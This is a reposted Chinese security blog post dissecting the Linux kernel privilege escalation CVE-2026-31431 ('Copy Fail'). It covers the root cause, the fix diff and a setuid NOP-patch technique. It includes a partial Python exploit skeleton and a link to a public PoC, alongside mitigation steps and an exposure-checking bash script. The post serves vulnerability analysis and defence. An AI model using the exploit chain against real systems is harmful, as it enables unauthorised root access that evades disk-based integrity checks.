4个字节,9年技术债:CVE-2026-31431/CopyFail完整拆解

admin 2026-05-16 05:08:12 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CVE-2026-31431(CopyFail)是Linux内核中的一个本地提权漏洞,源于2017年的一次性能优化(提交72548b093ee3)破坏了algifaead加密接口中源(src)与目标(dst)缓冲区的边界。当结合afalg、splice()、authencesn等机制时,攻击者可利用此漏洞将4个可控字节写入任意文件的pagecache,从而篡改setuid程序内存执行路径实现提权,且该修改对基于磁盘哈希的完整性检查不可见。主线修复(a664bf3d603d)通过恢复源与目标缓冲区的分离解决了此问题。 综合评分: 82 文章分类: 漏洞分析,二进制安全,内核安全


cover_image

4 个字节,9 年技术债:CVE-2026-31431 / Copy Fail 完整拆解

原创

ckcsec ckcsec

CKCsec安全研究院

2026年5月9日 01:02 美国

在小说阅读器读本章

去阅读

CVE-2026-31431,公开名字是 Copy Fail

这个洞最容易被一句话概括成“Linux 本地提权”,但这样说太轻了。它真正有意思的地方不在提权结果,而在提权原语:一个本来只应该写到 AEAD 输出缓冲区里的 4 字节,最后被写进了文件的 page cache

公开披露时间是 2026-04-29。主线修复是 a664bf3d603d,致因提交是 2017 年的 72548b093ee3。公开资料给出的影响窗口覆盖 Linux 4.14 到 6.19.12 一段相当长的周期。攻击条件也并不苛刻:一个非 root 的本地 shell,就够进入这条链。

这个洞从工程角度看有几个不寻常的地方:

  • 没有 race,没有玄学重试,触发路径是直线逻辑;
  • 不依赖典型内核地址泄露,也不靠某个发行版的固定内核偏移;
  • 改的是 page cache,不是磁盘文件,传统基于文件 hash 的完整性检查很容易看不到;
  • 它跨了好几层本来各自“看起来没问题”的机制:AF_ALGsplice()algif_aeadauthencesn(...)

下面按漏洞链把它拆开。

一、入口:AF_ALG 的 algif_aead

AF_ALG 是 Linux 内核暴露给用户态的 crypto socket family。用户态进程可以通过它直接调用内核里的哈希、对称加密、AEAD 等算法。

大多数业务代码并不会主动写 AF_ALG,但主流发行版内核往往默认带着这条入口。也就是说,它不是一个需要攻击者先加载奇怪模块才能到达的边缘面,而是一个默认在那里的内核接口。

调用形态大概是这样:

int tfm = socket(AF_ALG, SOCK_SEQPACKET, 0);
structsockaddr_algsa = {
    .salg_family = AF_ALG,
    .salg_type   = "aead",
    .salg_name   = "authencesn(hmac(sha1),rfc3686(ctr(aes)))",
};

bind(tfm, (struct sockaddr *)&sa, sizeof(sa));
setsockopt(tfm, SOL_ALG, ALG_SET_KEY, key, keylen);

int op = accept(tfm, NULL, NULL);
sendmsg(op, &msg, MSG_MORE);
read(op, out, outlen);

这里最关键的是 authencesn(...)

它是 IPsec ESN 场景里的组合算法模板,用来支持 64-bit 扩展序号。常规业务基本不会主动碰它,但只要内核注册了这个模板,用户态通过 bind() 就能借到这条算法路径。

Copy Fail 的第一层问题就在这里:一个普通用户态进程,可以把请求送进一条内核加密路径,而这条路径后面会碰到 scatterlist、splice 和 page cache。

二、三个机制单独看都合理,串起来就出事

1. scatterlist:内核 crypto API 的输入输出格式

内核加密 API 不喜欢用户态那种“连续 buffer”的思维。它处理的是 struct scatterlist,本质上是一串:

(page, offset, length)

每个 AEAD 请求上通常有两条链:

req->src  -> [page1] -> [page2] -> ...   输入:AAD + 密文
req->dst  -> [pageA] -> [pageB] -> ...   输出:明文

正常情况下,src 和 dst 是两条独立链。 当然,加密 API 也不是不能做 in-place,也就是输入输出落在同一组 page 上。但前提是:算法要知道自己在 in-place,调用方也要保证不会写到不该写的地方。

Copy Fail 的核心问题,就是这个前提后来被破坏了。

2. splice:把 page cache 直接当 page 交出去

splice() 的危险点不在“能读文件”,而在“它不复制”。

Linux 的 page cache 是磁盘文件在内存中的权威副本。读 /usr/bin/su,很多时候读到的就是 page cache 里的物理页。splice() 这类零拷贝路径可以把文件页的 struct page * 引用直接塞进管道、socket 或下游子系统。

可以把它理解成这样:

/usr/bin/su on disk
        |
        | open + splice()
        v
page cache physical page
        |
        | zero-copy into pipe / msg_iter
        v
algif_aead req->src

这和 Dirty Pipe 那类问题有同一个底层味道: 下游子系统以为自己拿到的是“只读输入”,但如果它哪一步把这张 page 当成输出写了,事情就会立刻变味。

3. authencesn:为了省事,借 dst 放 4 字节

authencesn 在 AEAD 处理前要处理 ESN 高 32 位。它没有单独申请临时缓冲区,而是借用了 dst 上的一小块空间,把 4 字节先放进去,后面再覆盖回去。

简化后就是这类逻辑:

staticintcrypto_authenc_esn_genicv(struct aead_request *req, ...)
{
/*
     * 在 dst 链上跳过 assoclen + cryptlen,
     * 借后面 4 字节存 ESN 高位。
     */
    scatterwalk_map_and_copy(esn_high_bytes, req->dst,
                             req->assoclen + cryptlen, 4, 1);
    ...
}

如果 req->dst 真是用户独占的输出 buffer,这 4 字节借用没有什么问题。写进去,算完,盖回去,外界看不见。

问题是:2017 年那次 algif_aead 优化之后,dst 不再总是那个干净的输出 buffer。

三、根因:72548b093ee3 把 src 和 dst 边界改模糊了

2017 年之前,algif_aead 基本是 out-of-place 的。req->src 和 req->dst 各自一条 scatterlist,不会把输入页和输出页混成一个对象。

72548b093ee3 这次优化的目标是性能:少拷贝一次,走 in-place 路径。问题出在 scatterlist 的组织方式上。

简化后的结构大概是这样:

/* crypto/algif_aead.c - 2017 优化后的简化结构 */
sg_init_table(sgl_src, src_nents + dst_nents);
sg_init_table(sgl_dst, dst_nents);

/* src:来自 sendmsg / splice 的 page,可能是 page cache 页 */
af_alg_make_sg(&ctx->rsgl[0], &msg->msg_iter, ...);

/* dst:用户给的输出 buffer page */
af_alg_make_sg(&ctx->rsgl[1], &out_iter, ...);

/* 关键:把 dst 链接到 src 链后面 */
sg_chain(sgl_src, src_nents + 1, sgl_dst);

req->src = sgl_src;
req->dst = sgl_src;
aead_request_set_crypt(req, req->src, req->dst, cryptlen, iv);

问题不是 sg_chain() 这个函数本身坏了,而是这次组织方式改变了 dst 的语义。

原本:

src -> 输入页
dst -> 输出页

优化后,在特定布局下:

src 链尾 -> splice 进来的 page cache 页
dst 起点 -> 接在 src 后面,逻辑上被当成输出

于是 authencesn 那个“借 dst 放 4 字节”的动作,可能落到上一段 src 链尾的 page cache 页上。

这就是整个洞的数学核心:

  • 目标页:由攻击者通过 splice() 选择;
  • 写入偏移:由 assoclen + cryptlen 间接控制;
  • 写入内容:来自 ESN 高 32 位,能通过请求字段构造;
  • 写入长度:4 字节;
  • 写入对象:page cache;
  • 稳定性:没有 race。

一句话:拿到了一个任意 page-cache 偏移、4 字节、内容可控的写原语。

这不是“误写了 4 字节”这么简单。真正致命的是,这 4 字节写到了文件页缓存上。

四、官方修复:把 2017 年那次优化退回去

主线修复 a664bf3d603d 的方向很直接:撤回 2017 年那次 in-place 优化,让 src 和 dst 重新分开。

简化成 diff 就是:

-       sg_init_table(sgl_src, src_nents + dst_nents);
-       ...
-       sg_chain(sgl_src, src_nents + 1, sgl_dst);
-       req->src = sgl_src;
-       req->dst = sgl_src;
+       sg_init_table(sgl_src, src_nents);
+       sg_init_table(sgl_dst, dst_nents);
+       ...
+       req->src = sgl_src;
+       req->dst = sgl_dst;

authencesn 仍然可以借 dst 的 4 字节。 但修复之后,dst 不再可能是那张从文件 splice() 进来的 page cache 页。

这个修复没有玩复杂补丁,也没有在 authencesn 里堆各种特判。它回到最根本的边界:输入是输入,输出是输出。

五、4 字节怎么变成 root

写一次 4 字节能做什么?

如果目标是普通文本,可能什么也不是。 如果目标是 setuid root 二进制的关键跳转,那就完全不一样了。

典型的 setuid 程序里,认证后会有类似这样的逻辑:

call   pam_authenticate
test   eax, eax
jne    auth_failed
...
call   setuid
call   execve
auth_failed:
...

x86_64 里,长跳转 jne rel32 的典型编码是:

0F 85 xx xx xx xx

前 4 字节如果被改成 NOP:

原始:0F 85 ?? ?? ?? ??    ; jne rel32
修改:90 90 90 90 ?? ??    ; nop nop nop nop + 残留两字节

认证失败后本来应该跳走,现在没有跳。程序就继续往下执行。 如果这段路径后面正好进入提权逻辑,那么普通用户就拿到了 root 语义下的执行。

这就是 Copy Fail 的实际危险:

磁盘上的 /usr/bin/su 没变
page cache 里的 /usr/bin/su 变了
execve() 读到的是 page cache
setuid root 程序按被污染后的代码路径跑

所以很多检测会失灵:

  • sha256sum /usr/bin/su 不变;
  • 包管理器校验不变;
  • IMA / AIDE / Tripwire 这类基于磁盘 hash 的方案不一定报警;
  • 写入路径不走普通 VFS write;
  • page cache 没有持久落盘,重启后文件本体仍然干净。

这也是 Copy Fail 比普通“改文件提权”麻烦的地方。它改的是执行时内存视图。

六、利用链骨架

完整 EXP 已经有公开 PoC。这里不贴可直接复制执行的版本,只保留原语骨架,用来说明每一步到底在干什么。

缺掉的部分包括:

  • 目标 setuid 二进制的具体偏移选择;
  • 针对不同 ELF 布局的入口定位;
  • page 布局和 sg 链稳定落点;
  • 能直接跑通的 payload 拼接。

原语骨架如下:

# CVE-2026-31431 / Copy Fail - primitive skeleton
# only for understanding the chain; not a drop-in exploit
import os
import socket

AF_ALG = 38
ALG_SET_KEY = 1
PAGE = 4096

target_path = "/usr/bin/su"
patch_offset = locate_patch_site(target_path)   # find a controlled 4-byte patch site
patch_value = b"\x90\x90\x90\x90"

# 1. Bring the target file page into page cache and pass it through splice.
fd = os.open(target_path, os.O_RDONLY)
r, w = os.pipe()
page_aligned = patch_offset & ~(PAGE - 1)
os.lseek(fd, page_aligned, os.SEEK_SET)
os.splice(fd, w, PAGE)

# 2. Bind AF_ALG to the authencesn AEAD template.
tfm = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
tfm.bind(("aead", "authencesn(hmac(sha1),rfc3686(ctr(aes)))"))
tfm.setsockopt(socket.SOL_ALG, ALG_SET_KEY, b"\x00" * 20)
op, _ = tfm.accept()

# 3. Build request fields so authencesn writes the desired high32 bytes.
iv = build_iv_with_high32(patch_value)

# 4. Send spliced page-cache backed pages into req->src.
send_spliced_pages_with_aad(op, r, iv, assoclen=...)

# 5. Prepare an output buffer; vulnerable algif_aead chains dst behind src.
out = bytearray(PAGE)

# 6. Trigger AEAD operation; authencesn writes 4 bytes through req->dst.
op.recv_into(out)

# 7. Execute target; mmap observes the modified page cache.
os.execv(target_path, [target_path])

这段骨架里最关键的不是 Python,而是四个动作:

  • splice() 没有复制文件内容,而是把 page cache 页送进后续路径;
  • sendmsg() 把这张页挂到了 req->src
  • 漏洞内核里,sg_chain() 让 dst 的逻辑落点靠到了 src 链尾;
  • authencesn 往 dst 写 4 字节时,写到了 page cache。

哪一步需要 race?没有。 哪一步需要反复赌时序?没有。 这就是它工程上稳定的原因。

七、复现过程

复现要放在隔离实验环境里做。这里说的是验证链条,不是拿生产机器试手。

最小环境条件:

  • 内核在受影响范围内,且没有合入 a664bf3d603d 等价修复;
  • CONFIG_CRYPTO_USER_API_AEAD=y 或 =m
  • CONFIG_CRYPTO_AUTHENC=yauthencesn 模板可注册;
  • 普通用户可以创建 AF_ALG socket;
  • 测试目标最好是自建的 setuid helper,而不是直接拿生产系统里的真实工具开刀。

实验验证分三层。

第一层,确认路径可达:

socket(AF_ALG, SOCK_SEQPACKET, 0)
bind("aead", "authencesn(...)")
setsockopt(ALG_SET_KEY)
sendmsg / recv

第二层,确认 page cache 被污染:

目标文件磁盘 hash 不变
执行行为发生变化
重启或回收 page cache 后恢复

第三层,确认权限边界被跨越:

普通用户执行 setuid 测试目标
触发前走失败分支
触发后走被污染后的控制流

这三层跑通,就足够证明漏洞链成立。真正的公开 PoC 会继续把这些步骤压缩、泛化、自动定位偏移,但原理并没有变。

八、修复方案

最可靠的方案只有一个:升级到包含修复的内核,或确认发行版已经 backport 等价补丁。

不要只看 uname -r。很多发行版会把上游补丁回补到旧版本号里,云厂商内核也经常有自己的维护分支。判断是否修复,要看发行版安全公告、内核包 changelog,或者确认是否包含 a664bf3d603d 等价修复。

临时缓解可以考虑禁用 algif_aead 模块:

echo"install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead

但这只对模块有效。 如果 algif_aead 是 builtin,modprobe.d 写得再漂亮也挡不住。

容器、CI、在线评测、开发沙箱这类环境还要额外处理 AF_ALG

  • seccomp 拦截 socket(AF_ALG, ...)
  • pod / container 运行时策略限制不可信 workload;
  • 对共享内核环境优先打补丁。

Copy Fail 最该优先处理的不是“看起来最贵”的机器,而是低权限代码执行机会最多的机器:

  • CI runner;
  • 构建机;
  • 跳板机;
  • 共享开发机;
  • 容器宿主机;
  • Notebook / 沙箱 / Serverless 这类跑用户代码的平台。

九、快速自查

先做基础核对:

uname -r
rpm -q --changelog kernel 2>/dev/null | grep -E 'CVE-2026-31431|a664bf3d603d'
dpkg-query -W -f='${Version}\n' linux-image-$(uname -r) 2>/dev/null

再看相关内核能力是否存在:

grep -E 'CONFIG_CRYPTO_USER_API|CONFIG_CRYPTO_USER_API_AEAD|CONFIG_CRYPTO_AUTHENC' /boot/config-$(uname -r) 2>/dev/null
zgrep -E 'CONFIG_CRYPTO_USER_API|CONFIG_CRYPTO_USER_API_AEAD|CONFIG_CRYPTO_AUTHENC' /proc/config.gz 2>/dev/null
lsmod | egrep 'algif_aead|af_alg|authenc'
modinfo algif_aead 2>/dev/null

运行期可以看有没有异常 AF_ALG 使用:

ss -xa | grep AF_ALG
lsof -nP 2>/dev/null | grep AF_ALG

下面是一份更完整的一键初筛脚本。它不是最终裁决,只负责快速判断攻击面是否可能存在。

  • 解析内核版本,判断是否落在公开影响窗口
  • 查发行版 changelog 里是否有 CVE-2026-31431 / a664bf3d603d 回补线索
  • 区分 CONFIG_CRYPTO_USER_API_AEAD=y、=m、禁用、未知
  • 检查 authenc/authencesn 相关 crypto 模板
  • 读取 /proc/crypto 看运行期 crypto 能力
  • 实际测试 AF_ALG / aead / authencesn 是否可绑定
  • 检测 modprobe.d 缓解是否是假缓解,尤其是 builtin 情况
  • 识别容器环境,提示宿主内核才是关键
  • 最后输出 HIGH / NEEDS REVIEW / LOW 分级结论
#!/usr/bin/env bash
# CVE-2026-31431 (Copy Fail) exposure checker
# Purpose: quick local triage. Final patch status must still be confirmed from the vendor advisory/changelog.
set -u

RED='\033[31m'
GREEN='\033[32m'
YELLOW='\033[33m'
BLUE='\033[34m'
NC='\033[0m'

RISK=0
KVER="$(uname -r)"
OS_NAME="unknown"
CONFIG_PATH=""
CONFIG_TMP=""

note() { printf"%b\n""${BLUE}[i]${NC} $*"; }
ok() { printf"%b\n""${GREEN}[OK]${NC} $*"; }
warn() { printf"%b\n""${YELLOW}[!]${NC} $*"; [ "$RISK" -lt 1 ] && RISK=1; }
bad() { printf"%b\n""${RED}[HIGH]${NC} $*"; RISK=2; }

cleanup() {
    [ -n "${CONFIG_TMP:-}" ] && [ -f "$CONFIG_TMP" ] && rm -f "$CONFIG_TMP"
}
trap cleanup EXIT

version_ge() {
# Compare major.minor.patch numerically. Missing patch is treated as 0.
    awk -v a="$1" -v b="$2"'BEGIN {
        split(a, A, "."); split(b, B, ".");
&nbsp; &nbsp; &nbsp; &nbsp; for (i = 1; i <= 3; i++) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (A[i] == "") A[i] = 0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (B[i] == "") B[i] = 0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (A[i] + 0 > B[i] + 0) exit 0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (A[i] + 0 < B[i] + 0) exit 1;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; exit 0;
&nbsp; &nbsp; }'
}

version_lt() {
&nbsp; &nbsp; ! version_ge&nbsp;"$1""$2"
}

kernel_base_version() {
printf"%s\n""$KVER"&nbsp;| sed -E&nbsp;'s/^([0-9]+)\.([0-9]+)(\.([0-9]+))?.*/\1.\2.\4/'&nbsp;| sed -E&nbsp;'s/\.$/.0/'
}

load_os_release() {
if&nbsp;[ -r /etc/os-release ];&nbsp;then
# shellcheck disable=SC1091
&nbsp; &nbsp; &nbsp; &nbsp; . /etc/os-release
&nbsp; &nbsp; &nbsp; &nbsp; OS_NAME="${PRETTY_NAME:-${NAME:-unknown}}"
fi
}

find_config() {
if&nbsp;[ -r&nbsp;"/boot/config-$KVER"&nbsp;];&nbsp;then
&nbsp; &nbsp; &nbsp; &nbsp; CONFIG_PATH="/boot/config-$KVER"
return
fi

if&nbsp;[ -r /proc/config.gz ] &&&nbsp;command&nbsp;-v zcat >/dev/null 2>&1;&nbsp;then
&nbsp; &nbsp; &nbsp; &nbsp; CONFIG_TMP="$(mktemp -t copyfail-config.XXXXXX)"
&nbsp; &nbsp; &nbsp; &nbsp; zcat /proc/config.gz >&nbsp;"$CONFIG_TMP"&nbsp;2>/dev/null ||&nbsp;true
if&nbsp;[ -s&nbsp;"$CONFIG_TMP"&nbsp;];&nbsp;then
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CONFIG_PATH="$CONFIG_TMP"
return
fi
fi

&nbsp; &nbsp; CONFIG_PATH=""
}

config_val() {
&nbsp; &nbsp; key="$1"
if&nbsp;[ -z&nbsp;"$CONFIG_PATH"&nbsp;];&nbsp;then
printf"unknown\n"
return
fi
&nbsp; &nbsp; val="$(grep -E "^${key}=" "$CONFIG_PATH" 2>/dev/null | tail -n1 | cut -d= -f2-)"
if&nbsp;[ -n&nbsp;"$val"&nbsp;];&nbsp;then
printf"%s\n""$val"
else
if&nbsp;grep -q -E&nbsp;"^#&nbsp;${key}&nbsp;is not set""$CONFIG_PATH"&nbsp;2>/dev/null;&nbsp;then
printf"n\n"
else
printf"unknown\n"
fi
fi
}

has_changelog_fix_hint() {
ifcommand&nbsp;-v rpm >/dev/null 2>&1;&nbsp;then
&nbsp; &nbsp; &nbsp; &nbsp; rpm -q --changelog kernel-core 2>/dev/null | grep -qiE&nbsp;'CVE-2026-31431|a664bf3d603d|Copy Fail'&nbsp;&&&nbsp;return&nbsp;0
&nbsp; &nbsp; &nbsp; &nbsp; rpm -q --changelog kernel 2>/dev/null | grep -qiE&nbsp;'CVE-2026-31431|a664bf3d603d|Copy Fail'&nbsp;&&&nbsp;return&nbsp;0
fi
ifcommand&nbsp;-v dpkg-query >/dev/null 2>&1;&nbsp;then
&nbsp; &nbsp; &nbsp; &nbsp; pkg="$(dpkg-query -S "/boot/vmlinuz-$KVER" 2>/dev/null | cut -d: -f1 | head -n1)"
if&nbsp;[ -n&nbsp;"$pkg"&nbsp;];&nbsp;then
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; zgrep -hiE&nbsp;'CVE-2026-31431|a664bf3d603d|Copy Fail'"/usr/share/doc/$pkg/changelog"* 2>/dev/null &&&nbsp;return&nbsp;0
fi
fi
return&nbsp;1
}

af_alg_probe() {
if&nbsp;!&nbsp;command&nbsp;-v python3 >/dev/null 2>&1;&nbsp;then
printf"unknown:python3-not-found\n"
return
fi
&nbsp; &nbsp; python3 - <<'PY'
import socket

AF_ALG = 38
tests = [
&nbsp; &nbsp; ("aead",&nbsp;"authencesn(hmac(sha1),rfc3686(ctr(aes)))"),
&nbsp; &nbsp; ("aead",&nbsp;"gcm(aes)"),
]

try:
&nbsp; &nbsp; s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
except PermissionError:
print("blocked:socket-permission")
&nbsp; &nbsp; raise SystemExit
except OSError as e:
print(f"blocked:socket:{e.errno}:{e.strerror}")
&nbsp; &nbsp; raise SystemExit

bound = []
errors = []
for&nbsp;typ, name&nbsp;in&nbsp;tests:
&nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; t = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
&nbsp; &nbsp; &nbsp; &nbsp; t.bind((typ, name))
&nbsp; &nbsp; &nbsp; &nbsp; t.close()
&nbsp; &nbsp; &nbsp; &nbsp; bound.append(name)
&nbsp; &nbsp; except PermissionError:
print("blocked:bind-permission")
&nbsp; &nbsp; &nbsp; &nbsp; raise SystemExit
&nbsp; &nbsp; except OSError as e:
&nbsp; &nbsp; &nbsp; &nbsp; errors.append(f"{name}:{e.errno}:{e.strerror}")

s.close()
if&nbsp;bound:
print("open:"&nbsp;+&nbsp;",".join(bound))
else:
print("unbound:"&nbsp;+&nbsp;"|".join(errors))
PY
}

echo"==[ Copy Fail / CVE-2026-31431 exposure check ]=="
load_os_release
find_config

echo"[+] OS:&nbsp;$OS_NAME"
echo"[+] Kernel:&nbsp;$KVER"
if&nbsp;[ -n&nbsp;"$CONFIG_PATH"&nbsp;];&nbsp;then
echo"[+] Kernel config:&nbsp;$CONFIG_PATH"
else
&nbsp; &nbsp; warn&nbsp;"kernel config not found; built-in/module status may be incomplete"
fi

BASE_VER="$(kernel_base_version)"
echo"[+] Parsed kernel base version:&nbsp;$BASE_VER"

if&nbsp;version_lt&nbsp;"$BASE_VER""4.14.0";&nbsp;then
&nbsp; &nbsp; ok&nbsp;"kernel base version is older than 4.14; the known in-place algif_aead regression is not expected"
elif&nbsp;version_ge&nbsp;"$BASE_VER""6.19.13";&nbsp;then
&nbsp; &nbsp; ok&nbsp;"kernel base version is at or above 6.19.13; upstream fixed range should be covered unless vendor tree differs"
else
&nbsp; &nbsp; warn&nbsp;"kernel base version falls in the public 4.14.x - 6.19.12 affected window; vendor backport status must be checked"
fi

if&nbsp;has_changelog_fix_hint;&nbsp;then
&nbsp; &nbsp; ok&nbsp;"vendor changelog contains a Copy Fail/CVE/fix-commit hint"
&nbsp; &nbsp; FIX_HINT="yes"
else
&nbsp; &nbsp; warn&nbsp;"no local vendor changelog hint for CVE-2026-31431 or a664bf3d603d was found"
&nbsp; &nbsp; FIX_HINT="no"
fi

CRYPTO_USER_API="$(config_val CONFIG_CRYPTO_USER_API)"
CRYPTO_USER_API_AEAD="$(config_val CONFIG_CRYPTO_USER_API_AEAD)"
CRYPTO_AUTHENC="$(config_val CONFIG_CRYPTO_AUTHENC)"
CRYPTO_AUTHENC_ESN="$(config_val CONFIG_CRYPTO_AUTHENC_ESN)"

echo"[+] CONFIG_CRYPTO_USER_API=$CRYPTO_USER_API"
echo"[+] CONFIG_CRYPTO_USER_API_AEAD=$CRYPTO_USER_API_AEAD"
echo"[+] CONFIG_CRYPTO_AUTHENC=$CRYPTO_AUTHENC"
echo"[+] CONFIG_CRYPTO_AUTHENC_ESN=$CRYPTO_AUTHENC_ESN"

MODE="unknown"
if&nbsp;grep -q -E&nbsp;'^algif_aead[[:space:]]'&nbsp;/proc/modules 2>/dev/null;&nbsp;then
&nbsp; &nbsp; bad&nbsp;"algif_aead is currently loaded as a module"
&nbsp; &nbsp; MODE="module-loaded"
elif&nbsp;[&nbsp;"$CRYPTO_USER_API_AEAD"&nbsp;=&nbsp;"y"&nbsp;];&nbsp;then
&nbsp; &nbsp; bad&nbsp;"CONFIG_CRYPTO_USER_API_AEAD=y; AF_ALG AEAD support is built into the kernel"
&nbsp; &nbsp; MODE="builtin"
elif&nbsp;[&nbsp;"$CRYPTO_USER_API_AEAD"&nbsp;=&nbsp;"m"&nbsp;];&nbsp;then
&nbsp; &nbsp; warn&nbsp;"CONFIG_CRYPTO_USER_API_AEAD=m; algif_aead may be auto-loadable if not blocked"
&nbsp; &nbsp; MODE="module-available"
elif&nbsp;[&nbsp;"$CRYPTO_USER_API_AEAD"&nbsp;=&nbsp;"n"&nbsp;];&nbsp;then
&nbsp; &nbsp; ok&nbsp;"CONFIG_CRYPTO_USER_API_AEAD is disabled"
&nbsp; &nbsp; MODE="disabled"
else
&nbsp; &nbsp; warn&nbsp;"CONFIG_CRYPTO_USER_API_AEAD status is unknown"
fi

if&nbsp;[&nbsp;"$CRYPTO_AUTHENC"&nbsp;=&nbsp;"n"&nbsp;] && [&nbsp;"$CRYPTO_AUTHENC_ESN"&nbsp;=&nbsp;"n"&nbsp;];&nbsp;then
&nbsp; &nbsp; ok&nbsp;"authenc/authencesn template appears disabled in config"
elif&nbsp;[&nbsp;"$CRYPTO_AUTHENC"&nbsp;=&nbsp;"y"&nbsp;] || [&nbsp;"$CRYPTO_AUTHENC"&nbsp;=&nbsp;"m"&nbsp;] || [&nbsp;"$CRYPTO_AUTHENC_ESN"&nbsp;=&nbsp;"y"&nbsp;] || [&nbsp;"$CRYPTO_AUTHENC_ESN"&nbsp;=&nbsp;"m"&nbsp;];&nbsp;then
&nbsp; &nbsp; warn&nbsp;"authenc/authencesn related crypto templates appear available"
else
&nbsp; &nbsp; warn&nbsp;"authenc/authencesn config status is unknown"
fi

if&nbsp;[ -r /proc/crypto ];&nbsp;then
if&nbsp;grep -qiE&nbsp;'authencesn|algif_aead|gcm\(aes\)'&nbsp;/proc/crypto;&nbsp;then
&nbsp; &nbsp; &nbsp; &nbsp; warn&nbsp;"/proc/crypto shows AEAD/authencesn-related crypto entries"
else
&nbsp; &nbsp; &nbsp; &nbsp; ok&nbsp;"/proc/crypto does not show tested AEAD/authencesn entries"
fi
else
&nbsp; &nbsp; warn&nbsp;"/proc/crypto is not readable from this context"
fi

PROBE_RESULT="$(af_alg_probe)"
echo"[+] AF_ALG probe:&nbsp;$PROBE_RESULT"
case"$PROBE_RESULT"in
&nbsp; &nbsp; open:*authencesn*)
&nbsp; &nbsp; &nbsp; &nbsp; bad&nbsp;"AF_ALG AEAD and authencesn are bindable from this context"
&nbsp; &nbsp; &nbsp; &nbsp; ;;
&nbsp; &nbsp; open:*)
&nbsp; &nbsp; &nbsp; &nbsp; warn&nbsp;"AF_ALG AEAD is bindable from this context; authencesn was not confirmed by the probe"
&nbsp; &nbsp; &nbsp; &nbsp; ;;
&nbsp; &nbsp; blocked:*)
&nbsp; &nbsp; &nbsp; &nbsp; ok&nbsp;"AF_ALG appears blocked from this context by permissions/seccomp/LSM or missing socket family"
&nbsp; &nbsp; &nbsp; &nbsp; ;;
&nbsp; &nbsp; unbound:*)
&nbsp; &nbsp; &nbsp; &nbsp; warn&nbsp;"AF_ALG socket exists but tested AEAD templates did not bind"
&nbsp; &nbsp; &nbsp; &nbsp; ;;
&nbsp; &nbsp; unknown:*)
&nbsp; &nbsp; &nbsp; &nbsp; warn&nbsp;"AF_ALG runtime probe could not run"
&nbsp; &nbsp; &nbsp; &nbsp; ;;
esac

MODPROBE_FILES="$(grep -RslE 'algif_aead|af_alg' /etc/modprobe.d 2>/dev/null || true)"
if&nbsp;[ -n&nbsp;"$MODPROBE_FILES"&nbsp;];&nbsp;then
echo"[+] modprobe rules mentioning algif_aead/af_alg:"
printf"%s\n""$MODPROBE_FILES"&nbsp;| sed&nbsp;'s/^/ &nbsp; &nbsp;/'
if&nbsp;[&nbsp;"$MODE"&nbsp;=&nbsp;"builtin"&nbsp;];&nbsp;then
&nbsp; &nbsp; &nbsp; &nbsp; bad&nbsp;"modprobe rules cannot disable built-in algif_aead support"
elif&nbsp;[&nbsp;"$MODE"&nbsp;=&nbsp;"module-loaded"&nbsp;];&nbsp;then
&nbsp; &nbsp; &nbsp; &nbsp; warn&nbsp;"modprobe rules exist, but algif_aead is already loaded; unload/reboot and verify"
else
&nbsp; &nbsp; &nbsp; &nbsp; ok&nbsp;"module-blocking rules exist; verify they match the actual module-loading path"
fi
fi

if&nbsp;[ -f /.dockerenv ] || grep -q -E&nbsp;'docker|kubepods|containerd|libpod'&nbsp;/proc/1/cgroup 2>/dev/null;&nbsp;then
&nbsp; &nbsp; warn&nbsp;"container environment detected; host kernel patch status is what matters"
&nbsp; &nbsp; note&nbsp;"block AF_ALG in container seccomp/runtime policy if the workload does not need it"
fi

if&nbsp;[&nbsp;"$RISK"&nbsp;-eq 2 ];&nbsp;then
echo&nbsp;-e&nbsp;"${RED}[RESULT] HIGH exposure: patch immediately or block AF_ALG/algif_aead where possible.${NC}"
elif&nbsp;[&nbsp;"$RISK"&nbsp;-eq 1 ];&nbsp;then
echo&nbsp;-e&nbsp;"${YELLOW}[RESULT] NEEDS REVIEW: exposure indicators exist; confirm vendor backport and runtime policy.${NC}"
else
echo&nbsp;-e&nbsp;"${GREEN}[RESULT] LOW exposure from this local check. Still confirm vendor advisory for final status.${NC}"
fi
echo"==[ check complete ]=="

没有本地脚本能 100% 代替发行版安全公告和补丁回补确认

十、最后

Copy Fail 值得记住的不是“4 字节也能提权”这个标题,而是它背后的边界错位。

authencesn 以为自己在写输出缓冲区。 algif_aead 以为自己只是做了一次 in-place 性能优化。 splice() 以为自己只是把 page cache 引用零拷贝交给下游。 三个机制各自都能解释得通,但拼在一起,dst 的身份变了。

最终结果就是:一个普通用户可以通过内核 crypto API,把 4 字节写到文件 page cache 上。

这类漏洞的教训很直接: 内核里的性能优化,最怕的不是少一个边界检查,而是改变了对象的语义;page cache 这层也不能只按“读缓存”理解,它在执行路径里就是实际被消费的数据。

所以修复要回到边界本身: src 是 srcdst 是 dst。别把 page cache 放进可写输出链。

参考资料

  • Copy Fail:https://copy.fail/
  • shadowabi PoC:https://github.com/shadowabi/CVE-2026-31431-CopyFail-Universal-LPE
  • Linux 主线修复:a664bf3d603d
  • 致因提交:72548b093ee3

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:CKCsec安全研究院 ckcsec ckcsec《4 个字节,9 年技术债:CVE-2026-31431 / Copy Fail 完整拆解》

评论:0   参与:  0